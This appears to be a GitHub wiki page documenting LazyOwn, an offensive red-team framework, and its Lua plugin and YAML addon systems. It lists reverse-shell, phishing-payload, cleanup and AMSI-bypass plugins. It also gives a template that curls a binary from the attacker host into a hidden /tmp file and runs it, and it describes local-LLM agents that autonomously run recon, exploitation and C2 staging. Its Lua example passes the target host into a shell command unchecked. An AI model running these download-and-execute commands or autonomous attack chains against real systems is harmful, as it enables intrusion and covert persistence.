Plugins Marketplace - grisuno/LazyOwn GitHub Wiki
Lua plugin layer for LazyOwn. Each .lua file registers one or more commands
with the framework via register_command. The Lua runtime is provided by
lupa (Python binding to LuaJIT). Plugins are auto-discovered at startup
alongside lazyaddons/.
Write a Lua plugin when the logic is a few lines of shell glue or string manipulation with no external dependencies, no Git clone, and no build step.
Write a YAML addon (lazyaddons/) when the tool needs to be cloned from
GitHub, compiled, or has non-trivial install steps.
function my_command()
local target = app.params["rhost"]
if not target then
return "Error: rhost is not set."
end
local result = io.popen("ping -c 1 " .. target):read("*a")
return result
end
register_command("my_command", my_command)Rules:
- Validate all parameters before use. Return an error string for missing params.
- Never crash the framework. Wrap risky calls in
pcall. - Always return a string. The CLI prints the return value directly.
- Use
app.params["key"]to readpayload.jsonvalues.
Every plugin needs a YAML file for auto-discovery, help text, and completion:
name: my_command
description: One-line description shown by help.
author: Your Name
version: "1.0"
enabled: true
tags:
- recon
- network
params:
- name: rhost
description: Target IP address
required: true
permissions:
- needs_network
requires_root: false
dependencies: []
outputs:
- console_output
notes: Optional additional usage notes.| Plugin | Description |
|---|---|
generate_c_reverse_shell |
Generates a C source reverse shell patched with lhost and lport. |
generate_cleanup_commands |
Produces cleanup commands to remove engagement artefacts from a Linux target. |
generate_html_payload |
Generates an HTML file with an embedded payload for phishing scenarios. |
generate_lateral_command |
Suggests lateral movement commands based on discovered credentials and OS. |
generate_linux_asm_reverse_shell |
Generates an x86-64 Linux assembly reverse shell stub. |
The Lua runtime exposes a single global app with these properties:
| Property | Type | Description |
|---|---|---|
app.params |
table | Read/write access to payload.json config |
app.params["rhost"] |
string | Current target IP/hostname |
app.params["lhost"] |
string | Local attacker IP |
app.params["lport"] |
number | Local port |
app.params["domain"] |
string | Target domain |
app.params["start_user"] |
string | Credential username |
app.params["start_pass"] |
string | Credential password |
All keys from payload.json are available via app.params["<key>"].
(LazyOwn) > my_command
(LazyOwn) > generate_c_reverse_shell
List all plugins:
(LazyOwn) > list_plugins
| Permission | Meaning |
|---|---|
needs_file_read |
Plugin reads files from the filesystem |
needs_file_write |
Plugin writes files to the filesystem |
needs_network |
Plugin makes network connections |
needs_exec |
Plugin spawns subprocesses |
Plugin not found — verify register_command("name", fn) is called at the
bottom of the Lua file and that the YAML enabled field is true.
Lua syntax error — run lua plugins/name.lua to check syntax before
loading. The lupa runtime logs load-time errors to sessions/access.log.
Parameter missing — use assign <key> <value> from the CLI to set the
required payload.json key.
Every plugin has a tier: official (maintained by the core team),
community (default), or experimental (unvetted). Tiers resolve from
plugins/tiers.yaml first, then an optional tier: field in the plugin's
own YAML. Filter the marketplace with marketplace list --tier official
and see the tier in marketplace info <name>.
Rate plugins operator-locally (stored in sessions/plugin_ratings.json,
never committed):
(LazyOwn) > marketplace rate amsi_bypass 5
(LazyOwn) > marketplace ratings
Declarative tool integration layer for LazyOwn. Each YAML file in this directory registers an external tool as a first-class CLI command, a pwntomate job, and an MCP-accessible tool — without touching any Python source.
There are currently 124 addons covering C2 frameworks, shellcode loaders, exploitation tools, scanners, AI agents, and post-exploitation utilities.
At startup, lazyown.py scans lazyaddons/*.yaml and auto-generates a
do_<name> command for each enabled addon. The command:
- Clones the repo from
repo_urltoinstall_pathif not present. - Runs
install_commandif the install path is a fresh clone. - Substitutes
{param}tokens with values frompayload.jsonand CLI args. - Executes
execute_commandinsideinstall_path. - If
lazycommandis defined, prints it as the command to run on the target.
name: shortname # CLI verb: do_shortname, also the tab-complete entry
description: | # Shown by help <name>; multi-line allowed
What the tool does.
enabled: true # false to skip at startup without deleting the file
tool:
name: Display Name
repo_url: https://github.com/user/repo.git
install_path: external/.exploit/toolname
execute_command: ./tool --option {param}
category: "10. Command & Control" # Must match an existing CLI categoryauthor: Author Name
version: "1.0"
os: linux # MITRE platform the addon targets (see table below)
trigger: # nmap service names that auto-suggest this addon
- microsoft-ds
- ldap
params:
- name: lhost
type: string
required: true
description: Attacker IP passed to the tool.
- name: lport
type: string
required: false
description: Listener port.
tool:
install_command: make # Run once after cloning; skip if empty
download_file: /tmp/.svc # Path on target where the payload lands
lazycommand: | # Command to run on the target
curl -sk "http://{lhost}:{lport}/payload" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &Declares the victim platform the addon targets. Consumed by do_explore,
do_recommend_next, and do_suggest_next to filter out addons that
cannot run against the active engagement. Accepted values:
| Value | Meaning |
|---|---|
any |
Operator-side / cross-platform (default) — never filtered out |
linux |
Linux victims (ELF, kernel exploits, native loaders) |
windows |
Windows victims (PE/DLL, BOFs, PowerShell payloads) |
macos |
macOS victims |
network |
Network appliances / protocol-level attacks |
containers |
Docker / Kubernetes targets |
saas |
SaaS abuse (Office 365, GitHub, etc.) |
iaas |
Cloud control planes (AWS, Azure, GCP) |
Unknown values fall back to any with a warning at load time.
List of nmap service names (e.g. microsoft-ds, http, ldap) that
should cause the exploration engine to surface this addon when those
services appear in a sessions/scan_*.nmap.xml. Special values:
-
[all]— match every discovered service (broad scanners). -
[]or omitted — addon is never auto-suggested by service discovery (manual / strategic tools, AI agents, frameworks).
The matcher is case-insensitive. Triggers do not fabricate evidence: only declare services the addon genuinely operates against.
| Token | Value source |
|---|---|
{lhost} |
payload.json["lhost"] |
{lport} |
payload.json["lport"] |
{rhost} |
payload.json["rhost"] |
{rport} |
payload.json["rport"] |
{domain} |
payload.json["domain"] |
{c2_port} |
payload.json["c2_port"] |
{<key>} |
Any key present in payload.json
|
All addon repos clone under external/.exploit/<name>. This keeps vendored
code out of the project root and under a consistent path that .gitignore
excludes.
The beacon family follows a specific build-and-stage pattern:
tool:
install_command: make
execute_command: >
git restore . ; git pull ; make &&
cp binary ../../../sessions/binary &&
echo "staged at sessions/binary"
lazycommand: >
curl -sk "http://{lhost}:{lport}/binary" -o /tmp/.svc &&
chmod +x /tmp/.svc && /tmp/.svc &The git restore . ; git pull before make ensures a fresh build. The binary
stages to sessions/ for delivery through the C2 file endpoint.
Current beacon addons:
-
beacon.yaml— Windows C beacon with Early Bird APC injection and BOF support -
blacksandbeacon.yaml— Linux C beacon with ELF dlopen BOF support (unique to LazyOwn) -
blacksandbeacon_bof.yaml— Linux BOF loader companion
The opencode_* family launches the opencode CLI non-interactively
(opencode run --auto) with the local ollama/qwen3.8:27b-c16k model to drive
the LazyOwn MCP server autonomously. Each addon is a phase-focused agent; the
operator task is appended to the agent prompt as CLI arguments.
(LazyOwn) > opencode_agent "recon 10.10.10.5 and report findings"
(LazyOwn) > opencode_recon
(LazyOwn) > opencode_exploit "target the web service on 8080"
(LazyOwn) > opencode_c2 "stage the beacon and verify callback"
(LazyOwn) > opencode_report
Infrastructure required (already configured in this repo):
-
opencode.json(project root) — registers thelazyownMCP server for opencode.miniosis disabled project-wide so autonomous runs are not slowed by its timeout. -
skills/lazyown_mcp_opencode.py— curated 15-tool MCP bridge with short names (sitrep,run,facts, ...) proxying to the full 148-tool server. Local models mishandle the longlazyown_lazyown_*names and large catalogs. -
qwen3.8:27b-c16k— ollama variant ofqwen3.8:27bwithnum_ctx 16384. The stock 4096-token context truncates the opencode system prompt and drops the MCP tools from the model's view. Create it with a Modelfile:FROM qwen3.8:27b PARAMETER num_ctx 16384then
ollama create qwen3.8:27b-c16k -f Modelfile.
The local 27B model runs mostly on CPU: expect minutes per step, and warm the model with a first call before long autonomous tasks.
01. Recon 07. Pivoting
02. Scanning 08. Credentials
03. Enumeration 09. Persistence
04. Post-Exploitation 10. Command & Control
05. Exploitation 11. Reporting
06. Privilege Escalation 12. Miscellaneous
(LazyOwn) > blacksandbeacon
(LazyOwn) > beacon
(LazyOwn) > toposwarm
List all registered addons:
(LazyOwn) > list_addons
Reload addons without restarting the shell:
(LazyOwn) > reload_addons
(LazyOwn) > lazyaddon_creator https://github.com/user/tool
Fetches repo metadata, infers install and execute commands, and writes the
YAML to lazyaddons/.
Clone fails — check network access. The URL must end with .git.
Install command fails — run cd external/.exploit/<name> && make manually.
Common causes: missing system packages (gcc, go, rust), wrong make target.
Parameter not substituted — verify the key exists in payload.json.
Use assign <key> <value> from the CLI to set it.
Command not found after adding YAML — run reload_addons or restart the
shell.
The gui and gui2 addons boot the PySide6 operator console from a separate
Qt virtualenv. Set LAZYOWN_QT_SITE_PACKAGES to that environment's
site-packages directory so the addon imports PySide6 without duplicating the
Qt binaries inside env/:
export LAZYOWN_QT_SITE_PACKAGES=/path/to/qt-venv/lib/python3.13/site-packagesWhen the variable is unset the addon runs python3 -m lazygui with the
current environment unchanged, so it still works when PySide6 is installed in
the active environment.